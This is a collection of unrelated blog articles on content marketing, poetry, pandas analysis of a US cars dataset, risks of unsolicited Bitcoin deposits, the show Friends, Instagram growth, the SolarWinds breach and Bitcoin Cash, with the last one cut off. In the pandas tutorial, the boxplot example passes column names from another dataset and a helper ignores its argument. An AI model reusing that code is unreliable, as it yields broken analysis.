can easily turn to your site whenever they have questions about your industry. Using content to develop your digital identity requires a deep understanding of your audience, your offering, and your organization. Understanding your audience requires you to know what challenges them. If you can become a unique source of valuable information that consumers rely on, you have optimized content marketing for your brand. Over time, you can begin to expand your content to widen your target audience and increase your consumer base. Based on the performance indicators, you can determine the preferences of your audience and begin building new products, services or content to meet their needs. Multichannel content marketing should be focused on fluidity. Your prospects’ needs may evolve, which means their behaviour will evolve, which means your strategy should evolve. The goal of using multichannel marketing for brand awareness is to help buyers see your company as an advocate and a partner. A brand’s visibility and exposure online have a direct link the to the success of a business. Your content represents who you are but considering your audience can also help you target them effectively. Using content marketing to build your digital brand can easily position your brand as a thought leader, attract interest from customers, clients, and leads, and improve your search engine rankings. Content marketing also offers a means to shape your brand identity by telling your brand story in a meaningful and relevant way. It is true that it may not work for some organizations because they do not have a proper content marketing strategy. It has been noticed by experts that only 44% of organizations have their own content marketing strategy and 54% of organizations who have a strategy can successfully execute it till the end. You must be worried to see 46% of organizations who fail to achieve their goals with content marketing. This is because they have improper or no strategy. Otherwise, if you understand all the steps and follow accordingly, then you will get success for sure. There are six focused steps in content marketing. Those are: Research You need to identify the audiences crave, where your competitors derive their most success, and what potential customers want to know most before considering a purchase. For this you need to gather relevant data, as data and content are equally important. Ideation After you track the demand of the audience, you can easily design a content plan. This must match with your services and products and your sales demographic. Creation Content creation is the main part, as the writer/artist is going to create content that reads easy, entertains, and converts. Editing A content is not to be considered to a final copy until and unless it is reviewed properly. A content needs to be grammatically perfect and based on SEO perspective. Sharing A content is no good in itself, unless it is spread and promoted on different platforms. So, content needs to be created based on the platform it will be marketed.Read more

https://medium.com/@namit-arora4545/importance-of-content-marketing-which-will-help-you-in-2021-980cb52eba06

['Namit Kumar']

2020-12-21 17:35:18.994000+00:00

['Content Strategy', 'Content Marketing Tips', 'Content', 'Content Marketing Blogs', 'Content Marketing']

Confession

Photo by Thomas Kinto on Unsplash How many invisible threads will you cross before you realise you’re hopelessly trapped How many peanut shells does it take you to realise you’re overcompensating for the absence of love How many cigarette stubs will you crush to exhale your burden into the wind How many Coldplay songs does it take to remember the naked warmth of a December night How many searches for a name before you let go of what you’ve lost

https://medium.com/literally-literary/confession-7b249947c75c

['Manish Masih']

2020-08-26 05:36:01.425000+00:00

['Pain', 'Loss', 'Love', 'Words', 'Poetry']

Exploring the US Cars Dataset

The US Cars Dataset contains scraped data from the online North American Car auction. It contains information about 28 car brands for sale in the US. In this post, we will perform exploratory data analysis on the US Cars Dataset. The data can be found here. Let’s get started! First, let’s import the Pandas library import pandas as pd Next, let’s remove the default display limits for Pandas data frames: pd.set_option('display.max_columns', None) Now, let’s read the data into a data frame: df = pd.read_csv("USA_cars_datasets.csv") Let’s print the list of columns in the data: print(list(df.columns)) We can also take a look at the number of rows in the data: print("Number of rows: ", len(df)) Next, let’s print the first five rows of data: print(df.head()) We can see that there are several categorical columns. Let’s define a function that takes as input a data frame, column name, and limit. When called, it prints a dictionary of categorical values and how frequently they appear: from collections import Counter def return_counter(data_frame, column_name, limit): print(dict(Counter(data_frame[column_name] .values).most_common(limit))) Let’s apply our function to the ‘brand’ column and limit our results to the five most common values: return_counter(df, 'brand', 5) As we can see, we have 1,235 Fords, 432 Dodges , 312 Nissans, 297 Chevrolets, and 42 GMCs. Let’s apply our function to the ‘color’ column: return_counter(df, 'color', 5) Now, let’s look at the brands of white cars : df_d1 = df[df['color'] =='white'] print(set(df_d1['brand'])) We can also look at the most common brands for white cars: print(dict(Counter(df_d1['brand']).most_common(5))) We see that most of the white cars are Fords, Dodges, and Chevrolets. We can also look at the most common states where white cars are being sold: print(dict(Counter(df_d1['state']).most_common(5))) Next, it would be useful to generate summary statistics from numerical columns like ‘duration’. Let’s define a function that takes a data frame, a categorical column, and a numerical column. The mean and standard deviation of the numerical column for each category is stored in a data frame and the data frame is sorted in descending order according to the mean. This is useful if you want to quickly see if certain categories have higher or lower mean and/or standard deviation values for a particular numerical column. def return_statistics(data_frame, categorical_column, numerical_column): mean = [] std = [] field = [] for i in set(list(data_frame[categorical_column].values)): new_data = data_frame[data_frame[categorical_column] == i] field.append(i) mean.append(new_data[numerical_column].mean()) std.append(new_data[numerical_column].std()) df = pd.DataFrame({'{}'.format(categorical_column): field, 'mean {}'.format(numerical_column): mean, 'std in {}'.format(numerical_column): std}) df.sort_values('mean {}'.format(numerical_column), inplace = True, ascending = False) df.dropna(inplace = True) return df Let’s call our function with categorical column ‘brand’ and numerical column ‘price’: stats = return_statistics(df, 'brand', 'price') print(stats.head(15)) Next, we will use boxplots to visualize the distribution in numeric values based on the minimum, maximum, median, first quartile, and third quartile. Similar to the summary statistics function, this function takes a data frame, categorical column, and numerical column and displays boxplots for the most common categories based on the limit: import matplotlib.pyplot as plt def get_boxplot_of_categories(data_frame, categorical_column, numerical_column, limit): import seaborn as sns from collections import Counter keys = [] for i in dict(Counter(df[categorical_column].values).most_common(limit)): keys.append(i) print(keys) df_new = df[df[categorical_column].isin(keys)] sns.set() sns.boxplot(x = df_new[categorical_column], y = df_new[numerical_column]) plt.show() Let’s generate boxplots for ‘price’ in the 5 most commonly occurring ‘brand’ categories: get_boxplot_of_categories(df, 'listed_in', 'duration', 5) Finally, let’s define a function that takes a data frame and a numerical column as input and displays a histogram: def get_histogram(data_frame, numerical_column): df_new = data_frame df_new[numerical_column].hist(bins=100) plt.title('{} histogram'.format(numerical_column)) plt.show() Let’s call the function with the data frame and generate a histogram from ‘price’: get_histogram(df, 'price') I will stop here but please feel free to play around with the data and code yourself. CONCLUSIONS To summarize, in this post we went over several methods for analyzing the US Cars Dataset. This included defining functions for generating summary statistics like the mean, standard deviation, and counts for categorical values. We also defined functions for visualizing data with boxplots and histograms. I hope this post was useful/interesting. The code from this post is available on GitHub. Thank you for reading!

https://towardsdatascience.com/exploring-the-us-cars-dataset-dbcebf954e4a

['Sadrach Pierre']

2020-05-09 16:47:54.414000+00:00

['Software Development', 'Programming', 'Python', 'Data Science', 'Technology']

How much Bitcoin is in your wallet?

You can not prevent deposits to your Bitcoin address from criminals and bad actors How much Bitcoin is in your wallet? Sure you know how much you had last time you checked, and you think you can be very confident that your balance hasn't changed because you haven’t sent any Bitcoin to anyone. But did someone send you Bitcoin? If they did wouldn’t that would be awesome! Perhaps someone made a mistake and accidentally sent Bitcoin to your wallet. Perhaps someone sent you Bitcoin that you’re not expecting as a gift. But what if someone sent you Bitcoin that you’re not expecting, and they are setting you up? You see, we all have wallets and addresses for our Bitcoin and we control what we send to people, when we send it and we control the amount we send. We have absolutely zero control over what gets sent to us. Because our addresses are publicly available for all to see on the blockchain, we don’t need to trust a third party to be in control of our finances- or so we are told. We are only in control of what we send, not of what we receive, so the truth is we do not have full control of our finances. On its face this sounds like a non issue- if someone wants to send free money to your address, why wouldn’t that be a great thing? Well, let’s explore why full control of your finances means both what you send and what you accept, and why anonymity is a critical third element that helps achieve full financial control and freedom. One variation of a major example would be this: You notice that your Bitcoin address now holds a total of 5 more Bitcoin, but you were not expecting any payments. You think this is odd, but you’re a bit excited to have ~$50,000 US dollars worth of Bitcoin just magically in your account. This seems like good news because you know that no one can take these new Bitcoin from you unless you decide they can and actually send them out of your own wallet. No one can take your Bitcoin. However, the judicial system can take your freedom. There are many iterations of how this could be a setup. If anyone can send you money and you can not control whether or not you accept that money you can be easily framed for any number of crimes. Money laundering, robbery, selling drugs, these are all crimes that follow the money and convictions can occur based on who holds the money. $50,000 or 5 Bitcoin in your account that can be directly tied to a crime is no longer a good thing to hold in your account, it’s a massive liability, and there is nothing you can do to prevent the deposit of that Bitcoin into your address. It is your burden to prove that you had no role in the 5 Bitcoin in your account, and your failure to prove that can be a major problem for you. The extreme example outcome would be that you are completely innocent and you are convicted of a crime you did not commit. This would be an excellent outcome for the true criminals, potentially getting them fully away with the crime. Other potential incentive for the criminals to attempt to frame you for a crime, besides having you serve as a fall guy, could be to get the police off of their tail or to simply waste the police forces time and resources, perhaps buying a little more time and freedom for the actual criminals in the process. Imagine a strategic drip of red herrings as deposits into Bitcoin addresses and the amount of time and freedom this deception could create for the criminals. The criminals could even deposit Bitcoin into the accounts of other criminals they know, or have worked with in the past, which could increase the likelihood of arresting the wrong person for the crime and the police closing the book on the crime as “solved”. Sleight of hand is a powerful tool. The less extreme and more likely outcome to this scenario where a criminal purposefully deposits Bitcoin into your account as a setup would be that you suffer major inconvenience, lost time and spend your own money to defend yourself against an unsubstantiated crime. You will take a financial loss and spend time you will never get back. You could get fired from your job, your relationships with family and friends could be stressed and ruined, your credit could be destroyed and you could fail background checks, all because of something you have absolutely zero to do with- other than your Bitcoin address accepting all deposits. Being framed for these types of crimes sounds far fetched you might say. The reality is that this scenario may be highly unlikely, though we can all agree that criminals would prefer to get away with their crimes, and if this is a way for them to do it, why wouldn’t they try it? With that said, the likelihood of this happening doesn’t matter if it happens to you. If it happens to you it is no longer an ambiguous worry or a percentage game, but a critical fight you are thrown into. Let’s look at some other examples that could be more probable. We all receive an exorbitant amount of spam emails. There are tons of active con artists and scammers out there. Even the most ridiculous scams work, just look at crypto Twitter anytime Vitalik Buterin makes a post. For a hint look at what he currently has as his name on Twitter: “Vitalik “Not giving away ETH” Buterin” These scams, and many others, work which is why they are prevalent. People fall for ridiculous things all the time. With that in mind there are a few prolific scams I can see coming. The first is when a scammer sends some Bitcoin to your account and claims they made an honest mistake. They can claim it was an accident and kindly ask for it back. Depending on the person being scammed, there are a few ways they could end up losing out. They could send the Bitcoin back, and then the scammer could claim they never received it and ask for it again, thus receiving multiple sums of Bitcoin. This could happen for a few iterations before the unsophisticated Bitcoin user catches on or learns to use block explorer. People have fallen for much more ridiculous scams, so i see this as not too far fetched. People have a strong sense of decency and fair play and this scam would play on those feelings in a strong way. Plus many Bitcoin users have themselves made mistakes in sending Bitcoin, and can relate to the issue, which could lend them to be more likely to help out someone else in that situation. Another would be when scammers identify who you are on the blockchain, find your contact information and deposit a little Bitcoin into your address. The scammers could then use any number of stories to blackmail and extort you. They could blackmail you by claiming they paid you for any number of items- they could try to extort someone by saying they will go to their spouse and make any number of claims, they could claim they will go to your employer and say that they paid you for trade secrets- this could work extremely well against government employees or careers that require clearance. It could be targeting a doctor that they said illegally sold them pain killers or other controlled substances. The scam works if just one of the people responds and starts trying to make the problem go away, or even better if the person being scammed just happened to do some of these nefarious things and thinks they are actually getting blackmailed. Some people will make the mistake of paying the scammers with the hopes that the scammers will go away. In the spirit of scams, another example to consider is around services provided, money owed and lawsuits. If someone can identify your address on the blockchain they can send you Bitcoin. They could easily device a scheme where they claim you had an agreement, let’s say for you to provide some type of service. They can make the claim they paid you for those services, show the payment went through, and then say you failed to perform services that were agreed upon. To take it a step further they can illustrate a loss and perhaps a hardship accompanying it and attempt to sue you for that amount. Let’s say they know who you are and they know their lawsuit is frivolous. Perhaps their intent is just to make you suffer, make you lose time and make you take a financial loss defending yourself. If you don’t defend yourself against frivolous suits, you could actually lose by default! This would be a pretty horrific outcome, but in any event if someone wants to cause you pain, they simply need to send some Bitcoin to your address, craft any type of story they want and make the claim that they paid you to do something you didn’t. This could happen at the corporate level, and could be autonomously launched at scale to sink a company via smart contracts. One company could aim to damage another in order to run them out of business, or to weaken their finances and balance sheet, making them able to acquire or make it cheaper to acquire them. They could launch a great number of lawsuits in this manner, buy the company, and instantly make the company worth more when they drop the lawsuits and clear up the issues they created to begin with. A scam could also be a fabricated story that someone made a loan to you and they could then claim that you never paid them back. They could of course claim that you were supposed to pay them back with a certain interest % by a specific date in time. They could make up elaborate late fees and penalties. The sum of Bitcoin they could expect back is limited only by their imagination. Granted these examples would create scenarios that would be hard for the perpetrators to pull off, but the inconvenience they could cause you alone could be a big issue. This could also cause you great hardships if they reported your lack of payment to crediting agencies with the intent of ruining your credit. There are a lot of other ways not being able to control what gets sent to your wallet can hurt you. Fungibility is critically important and comes into play here. Let’s say that a major hack occurs. The hackers decided to do their own form of “airdrop” and taint every single existing address with a small portion of stolen coins. This could create a number of issues and I’m a bit surprised a version of this hasn’t happened yet. The hackers could preemptively create thousands of wallets, and distribute stolen Bitcoin from the hack to a large mix of wallets that they control, and random wallets that are held by people that have nothing to do with the hack. This could be a way to buy the hackers time by creating thousands of addresses to chase down that have nothing to do with the hack, or alternatively if the hack is large enough they could send Bitcoin to every single address. The more time the hackers have to operate the more likely they are to salvage funds before the wallets that hold the coins are fully watched, and the remaining wallets are tracked down to determine which are nefarious and which are not. The problem there is ordinary people would potentially have to identify themselves in order to ‘clear their name’ and prove they have nothing to do with the hack. I’m always surprised that the hackers don’t make a bit of a sacrifice play and distribute some coins at a loss, considering their gains are pure return anyways. This confusion would play into their hands, and is directly available to hackers simply because Bitcoin holders do not have the ability to control what they receive to their accounts. Governments and those who want to ID people on the blockchain could execute this as a means to force people to identify with their Bitcoin addresses in order to clear their name, and clear their Bitcoin as not being associated with illegal activities or a hack. Anonymity is so critical when it comes to cryptocurrency. It provides the ability to truly achieve fungibility, it provides safety by helping to avoid the potential for blackmail, extortion and other crimes such as being targeted for being wealthy, as we have seen more and more instances of this arise. Anonymity deserves much more attention addressing its importance. Another issue with receiving funds to your account, irrespective of the intent or method in which it was deposited into your account- for example it could be a genuine accident- would be the tax implications. If you receive funds you may have a serious tax liability on your hands. If you don’t know where the funds are from and plan to return them, you might still need to pay taxes on them depending on where you reside (tax codes vary greatly country to country). You’re also in a moral dilemma, with little information to help you. No matter what you want to do, whether it be to return the coins, to keep the coins, or to find out if someone else should have gotten them, you are going to waste time and effort trying to figure out what happened. You will have to waste time determining if you have to pay taxes now, etc. On top of that, based on the potential scams, hacker distributions, lawsuits and potentially being framed for a crime, you will have a lot more to worry about besides just the tax implications. The last issue to discuss for now would be the problem created by having zero ability to block deposits from a source of funds that you can not legally accept. Either funds you can not legally accept or funds from a source which is counter to your company or non profits mission. Government officials have strict rules around fundraising and donations. These rules limit the amounts of money the official can raise from a single entity, as well as rules around who can contribute. Aside from that, there are major issues that can arise from the political standpoint- if a politician is shown to accept money from a cause or group they publicly oppose, this could undermine their campaign, their agenda and their credibility. This same issue can come into play with non profits. Depending on the non profit, the non profit could quickly lose their public support, their non profit status, their credibility and their mission could suffer or be halted if they are shown to accept money from a negative or opposing entity. This means the hard work being done by these groups could be completely undermined, stopped and undone as a result of their inability to prevent deposits into their Bitcoin wallets. With the trend of more and more charities and non profits accepting Bitcoin as donations, it would simply take a clever individual to come up with a plan to contribute to the group they want to damage, and either send it from a group that charity can not be associated with, or send Bitcoin with a damning story. In any event there would be a lot of headaches as a result of receiving the money and headaches and effort spent would be the best case scenario if someone actively tries to sink a charity, non profit or official. The point of all of this is that anonymity is an incredible protection layer that can be used for good. Anonymity could prevent a great deal of these headaches, it is not just a feature bad actors want to hide illegal transactions. The other key take away is that there are many ways you can lose time, money and suffer quite a bit due to the fact that you can not prevent Bitcoin from being sent to your address. At best Bitcoin sent to your address nefariously is a hassle. At worst you could get framed for a crime, sued, scammed or your credibility sunk. Bitcoin is amazing, but I think we haven’t yet tapped into the problems created by addresses that say yes to everything, and don’t shield your identity. Thanks for reading and feel free to follow me on Twitter for other opinions and info @ForkingBlocks

https://medium.com/fortuneinsider-com/how-much-bitcoin-is-in-your-wallet-72ad61d7984d

['Simon Manka']

2019-08-16 15:22:25.713000+00:00

['Bitcoin', 'Bitcoin Wallet', 'Privacy', 'Scam', 'Anonymous']

this version of you

Whose perception is reality? The one we hold of ourselves? Or the one others hold of us? I had just finished a 14 hour day, one where I had to scold a subordinate and listen to what seemed to be crisis after crisis with very little patience left. I canceled dinner with my father as I was tired and beat down, angry at everything and nothing at all. I wanted to be alone. I wanted nothing to do with the plans I was supposed to make to see my niece’s soccer game that weekend. I had text messages from various friends, some asking for help, some calling to vent, none that I had the energy to return. I was anything but happy. I was anything but bright. But on my walk home, I ran into a friend I had not seen in a year or two. We started talking. He told me about how his wife was recovering from an illness, and now the kids were not doing so well in college. How he hoped to retire soon and see all the places he had not seen of the world. I offered my best for his wife, joked that his kids took after him, and recommended a hotel in London where I stay every time I go back. Then, I told him about my promotion, my nieces, and how, yes, I was still coaching youth basketball and that we had won last year’s championship. We talked for hours on the street corner, without sense of time. As we went to part ways, he stopped and just shook his head in disbelief: “I just have to saw wow… when I first met you, damn, you were cold. Too young to be so cold. You have always had a heart of gold, but back then it was dipped in ice, surrounded by barbed wire, hidden from everyone but those you chose to let feel it. But this version of you? This version, your smile reaches your eyes again, were they always so blue? Your laugh is contagious, how does anyone stay mad around that laugh? And you are open, warm, selfless, leading with that heart of gold, not hiding it behind that self-erected armor. This version of you — the one that seems to have learned to love again? — this version may be my favorite. I’m jealous of those who get to see it every day, and in my age I can say, I’m definitely jealous of the man who will be brave enough to accept it, for he will be a king.” I stood in that spot after he departed, floored. I never thought of myself as open, warm, or selfless. I never really thought of myself as anything really. I was just me in any given moment, doing what was needed. But for the first time that day, I did not feel impatient. I was not tired. I walked on air as I called and rescheduled dinner with my father for the next day. Responded to those texts, making sure those of mine were okay. Bought a blue shirt to match my niece’s soccer uniform… It is okay to grow. To find different versions of yourself. To figure out who you are. But it is never okay to forget who you are. #radiatedaily Originally published here on radiatedaily.com image source: pixabay

https://medium.com/@pamsahota/this-version-of-you-d9c5046cbc36

['Pam Sahota']

2020-12-23 16:04:43.635000+00:00

['Growth', 'Kindness', 'Bravery', 'Radiate Daily', 'Courage']

The brilliance of Friends, its wish fulfillment & why Phoebe is the worst

There’s a fantastic moment in storytelling during Friends’ fourth season finale. After spending nearly the entire life of the series playing will-they-won’t-they with Ross and Rachel, Ross is about to get married in London. Everyone is there except for Phoebe, who is very pregnant with her brothers’ triplets, and Rachel, who is there to help Phoebe get around and to avoid her heart breaking when Ross finally gets married. Indeed, the drama of Rachel racing to the other continent to inevitably interrupt the wedding provides enough entertainment and conflict for all of the beloved characters, but the finale has a trick underneath its sleeve. Knowing very well that the longevity of Ross and Rachel is about to wear thin, and considering that the couple basically defined the show into its massive popularity, the writers of Friends had to steer the show into a different direction for the course of a few more seasons. They had to create more stories, more conflicts, more drama and comedy in this finale or the show would be going on five seasons of being about Ross and Rachel and whomever stood between them. Thus, we see the start of Monica and Chandler as they secretly sleep together in a moment of friendship and intoxication. From that point on the shift in Friends changed and the rest is history. The show tried to replicate that moment, of course, in its weakest season —season eight — where Joey accidentally proposes to Rachel after she’s given birth. However, that’s just one truly average to scattered season among ten, so it’s not too bad in the grand scheme of things. It’s remarkable that Friends pulled off being as solid as it was for ten seasons and only six main characters. Considering that not one friend is missing from one episode, and that no one joins the cast full-time is amazing and rare in the current climate of TV. Truth be told, Friends still creatively stands out as one of the best sitcoms of all time. Yes, this is a piece about Friends in 2017; well after the show has ended and well after the show became available for streaming on Netflix in January. It’s just that Friends is now encased into the holy zeitgeist of television (Netflix) for everyone to view in its entire complexity. To some, Friends is basically the mold that made most of what’s currently on television and still remains better than anything it inspired. Like Cheers before it, Friends being available on Netflix provides a unique viewing into one of television’s most popular series and can now be examined through the lens of why that is. Other than the moment I explained above, Friends was so popular because of how willing it was to just be funny and comfortable in its own skin. Joey and Chandler are single guys with dramatically different sex lives, while Ross pines for his true love, Rachel. Monica tries to have it all, while Phoebe cares less about any social construct and Rachel builds her life from the bottom up. In the midst of the hilarity, they all can sit down, sip coffee and bitch about their lives while cracking wise. Who doesn’t want that? It’s the best way to live. It’s wish fulfillment. Friends being a wish fulfillment series might be a big revelation to those who never quite understood its grasp. Just imagine having a six-person friend group who always understood boundaries, inside jokes, family history, and were legitimately there for you whenever you felt lonely — there’s not one moment in the series where a character feels alone in their problems. Not only that, but everything that would be best for the characters happened all the time (the closest comedy to share Friends’ idealism and positivity is Parks and Recreation). Everyone gets the best apartment, the best marriage, the best roommate and the best job. It’s no wonder why each friend is the best representation of a friend in their type; Joey is the best lovable oaf, Chandler is the best, sarcastic, hopeless romantic, Monica is the best cook and life coach, Rachel is the best-looking inexperienced person, and Ross has the best education and future with a heart of gold. That leaves Phoebe. Phoebe is such an enigma on Friends. There are times when she works for and against the show. As far as believability goes, there’s no way that any of the other friends would associate with Phoebe after Rachel moves into Monica’s apartment in the pilot episode. There’s even a plot in season five where Rachel fears she’s going to be phased out of the group due to Ross’ failing marriage. In her panic, she describes that she always figured if there were to be one person tossed out of the group, it’d be Phoebe. “Honey, come on! You live far away! You’re not related. You lift right out.” And she’s right. Phoebe stands out in her uniqueness, her struggle, and her philosophical views. There’s no way any of the friends wouldn’t slowly phase her out of Central Perk. Phoebe literally had a traumatic life. And no one seems to care whenever she brings that up. Granted, this is a sitcom, after all, so the serious conversation on how Phoebe feels about her mother’s suicide would be a total halt to the funny times. Still, though, a moment of caring wouldn’t hurt. However, simply not having any real ties to the group wasn’t Phoebe’s worst problem — it was the fact that each story of hers was completely isolated from everyone else. At most points, a friend would grab hold of another friend and bring them into their conflict — the show worked best when it did this — and thus hilarity would ensue. Phoebe rarely had Joey, Chandler, Monica, Rachel, and/or Ross put into her drama other than when she goes to meet her dad (and Joey, Rachel, and at one point Chandler are with her in the taxicab) or another instance. The alternative option the show had with her was to thrust her into someone else’s turmoil, making her the odd solution: Phoebe posing as Joey’s agent, Rachel messing with Chandler and Monica’s secret through Phoebe, and Chandler working with Phoebe to make engagement plans for Monica — that last one makes little sense because wouldn’t Rachel, the fashion designer and best friend of Monica, be the best candidate for picking an engagement ring? You screwed up there, Chandler. Season nine does save Phoebe, though. After years and years of never committing a story-arc to Phoebe, she finally gets one to the tune of having a serious boyfriend in Mike (played by Paul Rudd). True, she had a one-off moment with Gary the cop, but that never actively affected the other friends outside of “The One With The Ride Along,” where Joey saves a sandwich from a bullet. With Mike, Phoebe had a purpose and a stake to lose or gain in her character. Not to mention that adding Mike to the mix of the group was always a fun time considering that Rudd is a natural at making basically anything hilarious. There’s a real sense of energy through Phoebe’s scenes in that season which could be attributed to her long-awaited focus. Where season nine was Phoebe’s, season eight was Joey’s (and season seven and five were both Chandler and Monica’s, while season six was just Rachel’s. Before that, each season was either Ross or Rachel’s shining times or a mixture of everyone’s) and that’s where the Friends writers probably realized that Phoebe needed some time to herself — because Joey surely wasn’t bringing anything great with his love for Rachel. It’s fantastic that a popular series could still be learning about what does and doesn’t work in its twilight years. The final piece in wish fulfillment of having the best wacky friend who, eventually, becomes somewhat of a real person is astonishing to say the least. Obviously, now in hindsight, we get to see how well Friends ended in its tenth season with everyone in focus (except for Joey, really, as his spin-off show was the basis of that, sadly), but there was a time when the end wasn’t in sight and Phoebe’s season could have been one of many. Thankfully it happened right on time.

https://medium.com/the-hit-job/the-brilliance-of-friends-its-wish-fulfillment-and-why-phoebe-is-the-worst-565d00b37867

['Spenser Milo']

2017-02-20 19:14:17.807000+00:00

['Friends', 'Television', 'Pop Culture', 'Netflix', 'TV Series']

How to create engaging content on Instagram?

Have you ever joined many engagement rounds and groups, bought shouts from influencers but nothing really worked to boost your growth? If your answer is YES read this article carefully and we will give you advice. Imagine you are going on a blind date. Your friends have talked a lot about someone, how smart and good looking that person is, and how you would like him/her. But when you saw that person in real life, the date didn’t go as well as you had expected. And now what you have is frustration. A similar principle is on Instagram. Let’s say you have spent a lot of money on Instagram engagement groups, influencers, and invested a lot of your time on your page. Finally after this much effort, one of your posts appeared on the explore page! You got a fairly high engagement rate, but that’s all. Your followers number is pretty much the same. The engagement rate stays the same as before with your other posts. In conclusion, nothing radically changed even after hitting the explore page. (How does Instagram engagement work?) Then what’s the problem? Content is king, you should put the most of your efforts into it. Best way is to follow the AVR formula: A — Attention, you have to attract people’s attention, you can do that by posting photos and videos of their dream life. V — Value, to make people follow you have to be valuable by giving interesting topics, advice, memorable quotes, interesting stories, it’s up to your imagination. R — Relatability, people will only listen to you and show interest in your stuff if they can relate to you, tell stories to build relatability. If you are a traveler tell stories about how you became one, how you achieved what you do now, people love stories especially if they find themselves in it. By following this AVR formula you will make your content stand out and attract masses of people, of course, don’t forget to make everything qualitative and smooth, leave the engagement part for Aiboost and you will achieve great results. To get the ideas of what people like you can always go through your niche pages, find what people like the most, make it even better, improve colors, captions, you don’t have to create something unique every time, you can improve what is already done. No less important point is always put relevant hashtags under your posts, don’t use useful hashtags like (follow4follow, like4like and etc) these hashtags will never bring you a valuable audience, all followers who will come from these hashtags will unfollow you faster than you can imagine. Always focus on relevant hashtags, tag the things which are seen in your post, Instagram tracks your visual if IG bots don’t see palms in your post but you tagged it, it will not be relevant. Don’t use too many hashtags, the optimal amount is 15–25 hashtags per post. Don’t use only the most popular hashtags. A lot of people use them and to stand out from such a big audience and competition will be very difficult. So the best solution is to spread between different size tags:

https://medium.com/@info_75282/how-to-create-engaging-content-on-instagram-4f7649d89aa7

[]

2020-12-21 11:36:48.966000+00:00

['Instagram', 'Instagram Marketing', 'Instagram Content', 'Influencer Marketing', 'Influencer Marketing Tips']

Microsoft president says it has fallen victim to the SolarWinds hack

Microsoft alerts the world as it claims to be the victim of the recent SolarWinds hack presumably by the Russian-backed hacker group. Brad Smith, president of Microsoft, said that this attack provides a moment of reckoning. With the year coming to an end, the final weeks have become more challenging due to the nation-wide cyber-attack shaking the strong security foundation of the United States. Brad further said that the recent threat shows how the cybersecurity landscape is changing and becoming more dangerous for the world. The latest cyber assault has effective both the government of the United States and many companies in the tech sector. Possessing a threat to Microsoft Since the software of SolarWinds is used by many customers around the globe, the victim list is increasing every day. Microsoft has also announced that its system was exposed to the hack though the degree of casualties is not mentioned. Smith further mentioned that the act has created a serious technical vulnerability for the U.S. and it was done deliberately to advance a nation’s intelligence agency. Though Smith didn’t accuse the Russians explicitly but put clear hints and remarks. In the blog post by Brad Smith, he has shown a map illustrating the geographical density of the customers affected by the SolarWinds software. The map has used telemetry from Microsoft’s Defender Anti-virus software to elaborate the effects of the hack. It shows the audience that the victims are scattered around the globe but the U.S. is the most affected nation. According to Microsoft, 80% of the affected customers are located in the U.S. and other victims are spotted in Canada, UK, Belgium, Spain, Mexico, Israel, and UAE. The SolarWinds hack The past week newspapers have been crawling with the news of a nationwide cyber attack first spotted by the security firm FireEye. The hackers inserted the malware into the network management software used by customers around the globe. SolarWinds is the company that sells this product to the other giant tech companies and the malware was spotted when FireEye updated the software. When investigating the attack, traces were found that several U.S. government agencies have also been compromised. When SolarWinds reported the attack, around 17,000 customers already downloaded the compromised update. After announcing the cyber attack, Kevin Mandia, CEO of FireEye said that “we are witnessing an attack by a nation with top-tier offensive capabilities.” Currently, the FBI and Homeland Security are investigating the matter. Ongoing investigation The hackers have attacked several sectors of government from the Navy to the U.S. military along with the major companies of fortune 500. So, the investigators have to track digital footprints for all the sectors separately. On Wednesday, there was a joint statement regarding the whole-of-government-response issued by the FBI (The Federal Bureau of Investigation), CISA (Cybersecurity and Infrastructure Security Agency), and ODNI (Office of the Director of National Intelligence). Microsoft has introduced blocking versions of SolarWinds Orion that contained the malware. Microsoft along with other tech companies has seized the control of a domain responsible for the SolarWinds breach. SolarWinds has decided not to reveal the names of the Fortune 500 companies that are affected by the breach. It will help both SolarWinds and the companies from avoiding negative publicity. And, Microsoft has urged to take stronger steps against cyber-attacks for both government and private level. A challenging year This year started with the global pandemic, shaking the entire social and economical wellbeing of every citizen around the world. On top of this, cyber-attacks have proven to use more novel techniques for stealing sensitive information and destroying the moral foundations of any nation. This year has also witnessed the attacks on several research institutes and companies researching COVID-19 vaccines. In March, cyberattacks increased rapidly on both private and public health networks targeting from local government to the World Health Organization. According to Microsoft, the company has spotted three nation-state actors targeting seven prominent companies involved in the treatment of COVID-19. Amidst a global crisis, such cyber assaults are very daunting for any nation and its people. A government is supposed to protect the nation’s people, and if the government itself is under attack, soon there will big chaos.

https://medium.com/@yourtechstory/microsoft-president-says-it-has-fallen-victim-to-the-solarwinds-hack-59040cff671c

['Your Tech Story']

2020-12-18 11:05:07.053000+00:00

['Solarwinds', 'Tech News Today', 'Tech News', 'Microsoft', 'Technology']

Why Bitcoin Cash is so exciting.

In order for cryptocurrencies to be accepted by the mainstream, they must be spent and used as traditional monies: spending is, after all, the core function of any money. Inherently, use cases must be created to encourage spending and hence further adoption. Voltaire is a cryptocurrency exchange that attempts this, implementing both short and long term strategies to do so. We believe the best path to the vision of true financial freedom is Bitcoin Cash. In this blog, we set out the reasons why. Bigger Blocks, but not really The main apparent advantage of Bitcoin Cash — when compared to legacy coins — is the larger, 32 MB block size. Often it’s argued that it’s the currency’s biggest selling point. At a high level, perhaps this is true: scaling on chain is the straightforward and originally intended mechanic to boost Bitcoin’s capacity. What some BCH proponents perhaps overlook is that BCH has tiny transaction fees not because of the bigger block size cap, but there aren’t many using it. The average BCH block at the time of writing contains approximately 200 transactions whilst the average BTC block, over 1400. A full, 32 MB BCH block could allow 32 times that, or 45,000 transactions per block. The true potential of Bitcoin Cash’s larger block size has not yet been realised. Furthermore, bigger blocks have poor defensibility. Any coin can increase its block size overnight given miner consensus. Bitcoin Cash isn’t better because of its bigger blocks: it’s better because of the people in the ecosystem and their ability to agree, disagree, argue and execute collaboratively. Decentralisation in Development Bitcoin Cash development is executed in a sustainable manner. There are at least three implementations which work, all with broadly similar consensus rules. This is powerful, because it allows node operators and more importantly minors to pivot to another implementation should they disagree with the steer of a particular development team. The biggest names in the Bitcoin Cash development community are spread between the three. Community Perhaps for us, the most attractive value add of Bitcoin Cash is its community. We saw this first hand at the Scaling for Consensus conference in Hong Kong. Bitcoin Cash is a movement driven by its participants — merchants, miners, developers and capitalists engaging each other, disagreeing, agreeing, building products and services. Everyday we see progress: the release of Wormhole, the subsequent API implementation by Bitcoin.com and the formation of the bcomm association are great examples. We can’t wait to see what comes next, and even more so, to get involved. We’ll be releasing more details on our community initiative soon. RBF (replace-by-fee) Or the lack of it in Bitcoin Cash. This is better because it becomes more difficult to execute a double spend attack. An example of RBF and its implications below: If Bob is a store owner, and Alice is a customer, Alice sends a transaction to Bob to pay for a coffee. Alice is 